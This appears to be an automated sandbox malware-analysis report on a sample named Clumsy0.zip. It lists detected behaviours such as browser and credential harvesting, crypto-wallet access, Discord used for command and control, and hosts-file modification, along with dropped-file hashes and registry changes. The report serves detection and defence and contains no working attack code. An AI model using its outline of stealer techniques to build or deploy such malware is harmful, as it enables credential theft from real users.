Malware Analysis Report

2025-08-05 11:54

Sample ID 241015-2cgkxszgqg
Target Clumsy0.zip
SHA256 5170cf7842d1beea31099a684797bc0ee656e2e0d700b840ac6349d15d15b90d
Tags
upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

5170cf7842d1beea31099a684797bc0ee656e2e0d700b840ac6349d15d15b90d

Threat Level: Likely malicious

The file Clumsy0.zip was found to be: Likely malicious.

Malicious Activity Summary

upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Reads user/profile data of web browsers

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Clipboard Data

Unsecured Credentials: Credentials In Files

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Obfuscated Files or Information: Command Obfuscation

Looks up external IP address via web service

Enumerates processes with tasklist

UPX packed file

Browser Information Discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

System Network Configuration Discovery: Wi-Fi Discovery

Unsigned PE

Detects videocard installed

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Modifies system certificate store

Modifies registry class

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Kills process with taskkill

Views/modifies file attributes

Suspicious use of SendNotifyMessage

Modifies data under HKEY_USERS

Enumerates system info in registry

NTFS ADS

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Gathers system information

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-15 22:26

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-10-15 22:26

Reported

2024-10-15 22:36

Platform

win7-20240729-en

Max time kernel

315s

Max time network

320s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-10-15 22:26

Reported

2024-10-15 22:36

Platform

win10v2004-20241007-en

Max time kernel

554s

Max time network

445s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 66.112.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-10-15 22:26

Reported

2024-10-15 22:36

Platform

win7-20240903-en

Max time kernel

359s

Max time network

360s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

Signatures

N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

Network

N/A

Files

memory/1920-0-0x0000000000010000-0x000000000001E000-memory.dmp

Analysis: behavioral6

Detonation Overview

Submitted

2024-10-15 22:26

Reported

2024-10-15 22:36

Platform

win10v2004-20241007-en

Max time kernel

417s

Max time network

438s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

Signatures

N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\WinDivert64.sys

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 12.173.189.20.in-addr.arpa udp

Files

memory/264-0-0x0000000000010000-0x000000000001E000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-15 22:26

Reported

2024-10-15 22:36

Platform

win7-20240903-en

Max time kernel

361s

Max time network

362s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI21322\ucrtbase.dll

MD5 0e0bac3d1dcc1833eae4e3e4cf83c4ef
SHA1 4189f4459c54e69c6d3155a82524bda7549a75a6
SHA256 8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae
SHA512 a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd

C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-localization-l1-2-0.dll

MD5 724223109e49cb01d61d63a8be926b8f
SHA1 072a4d01e01dbbab7281d9bd3add76f9a3c8b23b
SHA256 4e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210
SHA512 19b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c

C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-processthreads-l1-1-1.dll

MD5 517eb9e2cb671ae49f99173d7f7ce43f
SHA1 4ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab
SHA256 57cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54
SHA512 492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be

C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-file-l1-2-0.dll

MD5 1c58526d681efe507deb8f1935c75487
SHA1 0e6d328faf3563f2aae029bc5f2272fb7a742672
SHA256 ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2
SHA512 8edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1

C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-timezone-l1-1-0.dll

MD5 d12403ee11359259ba2b0706e5e5111c
SHA1 03cc7827a30fd1dee38665c0cc993b4b533ac138
SHA256 f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781
SHA512 9004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0

C:\Users\Admin\AppData\Local\Temp\_MEI21322\api-ms-win-core-file-l2-1-0.dll

MD5 bfffa7117fd9b1622c66d949bac3f1d7
SHA1 402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2
SHA256 1ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e
SHA512 b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f

C:\Users\Admin\AppData\Local\Temp\_MEI21322\python310.dll

MD5 178a0f45fde7db40c238f1340a0c0ec0
SHA1 dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe
SHA256 9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed
SHA512 4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee

memory/2592-74-0x000007FEF59C0000-0x000007FEF5E2E000-memory.dmp

memory/2592-75-0x000007FEF59C0000-0x000007FEF5E2E000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-15 22:26

Reported

2024-10-15 22:35

Platform

win10v2004-20241007-en

Max time kernel

540s

Max time network

541s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

Signatures

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\system32\rundll32.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A
N/A N/A C:\Windows\system32\systeminfo.exe N/A
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133735047895970853" C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Windows\system32\rundll32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "2" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Downloads" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
